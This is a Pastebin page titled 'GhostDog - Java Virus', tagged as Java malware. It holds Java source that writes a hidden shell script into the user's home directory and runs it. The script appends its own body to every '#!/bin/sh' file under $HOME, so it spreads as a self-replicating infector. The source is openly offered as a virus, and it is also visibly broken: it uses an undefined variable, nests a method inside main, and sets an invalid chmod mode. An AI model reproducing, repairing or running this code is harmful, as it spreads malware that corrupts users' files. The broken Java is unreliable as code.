Advertisement
FlyFar

GhostDog - Java Virus

Feb 17th, 2023
1,159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.35 KB | Cybersecurity | 0 0
  1. import java.io.*;
  2.  
  3. class GhostDog {
  4.     public static void main (String[] argv) {
  5.     try {
  6.         String userHome = System.getProperty("user.home");
  7.         String target = "$HOME";
  8.         FileOutputStream outer = new FileOutputStream(userHome + "/.ghostdog.sh");
  9.         String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
  10.         "echo \"This is a New Target File from me..-->GhostDog<--.\"" + "\n" +
  11.         "for file in `find " + target + " -type f -print`" + "\n" + "do" +
  12.         "\n" + "    case \"`sed 1q $file`\" in" + "\n" +
  13.         "        \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
  14.         " || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
  15.         "    esac" + "\n" + "done" + "\n" +
  16.         "2>/dev/null";
  17.         byte[] buffer = new byte[homer.length()];
  18.         ghostdog.getBytes(0, ghostdog.length(), buffer, 0);
  19.         public void start() {
  20.         if (sleeper == null) {
  21.         sleeper = new Thread(this);
  22.         sleeper.setPriority(Thread.MAX_PRIORITY);
  23.         sleeper.start();
  24.         }
  25.         outer.write(buffer);
  26.         outer.close();
  27.         Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 888 " +
  28.                         userHome + "/.ghostdog.sh");
  29.         Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
  30.                        "/.ghostdog.sh");
  31.         } catch (IOException ioe) {}
  32.     }
  33. }
Tags: Java malware
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement